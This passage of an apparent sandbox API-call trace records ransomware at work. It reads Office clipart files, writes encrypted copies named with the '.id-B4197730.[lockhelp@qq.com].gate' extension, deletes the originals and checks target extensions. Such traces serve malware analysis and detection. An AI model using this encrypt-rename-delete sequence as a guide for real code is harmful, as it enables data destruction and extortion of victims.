lpNewFilePointer=0x0) returned 1 [0283.316] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0283.317] GetLastError () returned 0x0 [0283.317] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0283.739] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0283.740] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.740] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.740] SetEndOfFile (hFile=0x414) returned 1 [0283.741] CloseHandle (hObject=0x414) returned 1 [0283.741] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.742] SetEndOfFile (hFile=0x4b0) returned 1 [0283.744] CloseHandle (hObject=0x4b0) returned 1 [0283.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0283.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.745] lstrlenW (lpString=".doc") returned 4 [0283.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.745] lstrlenW (lpString=".docx") returned 5 [0283.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.745] lstrlenW (lpString=".pdf") returned 4 [0283.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.745] lstrlenW (lpString=".xls") returned 4 [0283.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.746] lstrlenW (lpString=".xlsx") returned 5 [0283.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.746] lstrlenW (lpString=".ppt") returned 4 [0283.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.746] lstrlenW (lpString=".zip") returned 4 [0283.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.746] lstrlenW (lpString=".rar") returned 4 [0283.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.746] lstrlenW (lpString=".bz2") returned 4 [0283.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.746] lstrlenW (lpString=".7z") returned 3 [0283.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.746] lstrlenW (lpString=".dbf") returned 4 [0283.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.746] lstrlenW (lpString=".1cd") returned 4 [0283.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.746] lstrlenW (lpString=".jpg") returned 4 [0283.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.746] lstrlenW (lpString=".doc") returned 4 [0283.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.746] lstrlenW (lpString=".docx") returned 5 [0283.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.747] lstrlenW (lpString=".pdf") returned 4 [0283.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.747] lstrlenW (lpString=".xls") returned 4 [0283.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.747] lstrlenW (lpString=".xlsx") returned 5 [0283.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.747] lstrlenW (lpString=".ppt") returned 4 [0283.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.747] lstrlenW (lpString=".zip") returned 4 [0283.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.747] lstrlenW (lpString=".rar") returned 4 [0283.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.747] lstrlenW (lpString=".bz2") returned 4 [0283.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.747] lstrlenW (lpString=".7z") returned 3 [0283.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.747] lstrlenW (lpString=".dbf") returned 4 [0283.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.747] lstrlenW (lpString=".1cd") returned 4 [0283.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0283.747] lstrlenW (lpString=".jpg") returned 4 [0283.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.747] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.747] lstrlenW (lpString="BD09664_.WMF") returned 12 [0283.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0283.748] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7966) returned 1 [0283.748] CloseHandle (hObject=0x4b0) returned 1 [0283.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0283.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0283.749] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.749] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0283.749] GetLastError () returned 0x0 [0283.749] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0283.937] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0283.938] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.938] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.938] SetEndOfFile (hFile=0x414) returned 1 [0283.938] CloseHandle (hObject=0x414) returned 1 [0284.847] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.847] SetEndOfFile (hFile=0x4b0) returned 1 [0284.849] CloseHandle (hObject=0x4b0) returned 1 [0284.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0284.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0284.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.850] lstrlenW (lpString=".doc") returned 4 [0284.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.850] lstrlenW (lpString=".docx") returned 5 [0284.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.850] lstrlenW (lpString=".pdf") returned 4 [0284.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.850] lstrlenW (lpString=".xls") returned 4 [0284.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.851] lstrlenW (lpString=".xlsx") returned 5 [0284.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.851] lstrlenW (lpString=".ppt") returned 4 [0284.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.851] lstrlenW (lpString=".zip") returned 4 [0284.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.851] lstrlenW (lpString=".rar") returned 4 [0284.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString=".bz2") returned 4 [0284.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString=".7z") returned 3 [0284.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.851] lstrlenW (lpString=".dbf") returned 4 [0284.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.851] lstrlenW (lpString=".1cd") returned 4 [0284.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.851] lstrlenW (lpString=".jpg") returned 4 [0284.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.851] lstrlenW (lpString=".doc") returned 4 [0284.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString=".docx") returned 5 [0284.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.851] lstrlenW (lpString=".pdf") returned 4 [0284.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.851] lstrlenW (lpString=".xls") returned 4 [0284.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.851] lstrlenW (lpString=".xlsx") returned 5 [0284.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.852] lstrlenW (lpString=".ppt") returned 4 [0284.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.852] lstrlenW (lpString=".zip") returned 4 [0284.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.852] lstrlenW (lpString=".rar") returned 4 [0284.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.852] lstrlenW (lpString=".bz2") returned 4 [0284.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.852] lstrlenW (lpString=".7z") returned 3 [0284.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.852] lstrlenW (lpString=".dbf") returned 4 [0284.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.852] lstrlenW (lpString=".1cd") returned 4 [0284.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0284.852] lstrlenW (lpString=".jpg") returned 4 [0284.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.852] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0284.852] lstrlenW (lpString="BD19695_.WMF") returned 12 [0284.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0284.853] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=12982) returned 1 [0284.853] CloseHandle (hObject=0x4b0) returned 1 [0284.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0284.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0284.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0284.853] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.853] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0284.854] GetLastError () returned 0x0 [0284.854] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0285.345] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0285.346] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.346] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.346] SetEndOfFile (hFile=0x414) returned 1 [0285.346] CloseHandle (hObject=0x414) returned 1 [0285.347] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.347] SetEndOfFile (hFile=0x4b0) returned 1 [0285.349] CloseHandle (hObject=0x4b0) returned 1 [0285.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0285.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.351] lstrlenW (lpString=".doc") returned 4 [0285.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString=".docx") returned 5 [0285.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.351] lstrlenW (lpString=".pdf") returned 4 [0285.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString=".xls") returned 4 [0285.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.351] lstrlenW (lpString=".xlsx") returned 5 [0285.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.351] lstrlenW (lpString=".ppt") returned 4 [0285.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.351] lstrlenW (lpString=".zip") returned 4 [0285.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.351] lstrlenW (lpString=".rar") returned 4 [0285.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString=".bz2") returned 4 [0285.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString=".7z") returned 3 [0285.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.351] lstrlenW (lpString=".dbf") returned 4 [0285.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.351] lstrlenW (lpString=".1cd") returned 4 [0285.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.351] lstrlenW (lpString=".jpg") returned 4 [0285.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.351] lstrlenW (lpString=".doc") returned 4 [0285.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.352] lstrlenW (lpString=".docx") returned 5 [0285.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.352] lstrlenW (lpString=".pdf") returned 4 [0285.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.352] lstrlenW (lpString=".xls") returned 4 [0285.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.352] lstrlenW (lpString=".xlsx") returned 5 [0285.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.352] lstrlenW (lpString=".ppt") returned 4 [0285.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.352] lstrlenW (lpString=".zip") returned 4 [0285.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.352] lstrlenW (lpString=".rar") returned 4 [0285.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.352] lstrlenW (lpString=".bz2") returned 4 [0285.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.352] lstrlenW (lpString=".7z") returned 3 [0285.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.352] lstrlenW (lpString=".dbf") returned 4 [0285.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.352] lstrlenW (lpString=".1cd") returned 4 [0285.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0285.352] lstrlenW (lpString=".jpg") returned 4 [0285.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.353] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.353] lstrlenW (lpString="BL00105_.WMF") returned 12 [0285.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0285.353] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=880) returned 1 [0285.353] CloseHandle (hObject=0x4b0) returned 1 [0285.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0285.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0285.354] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.354] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft 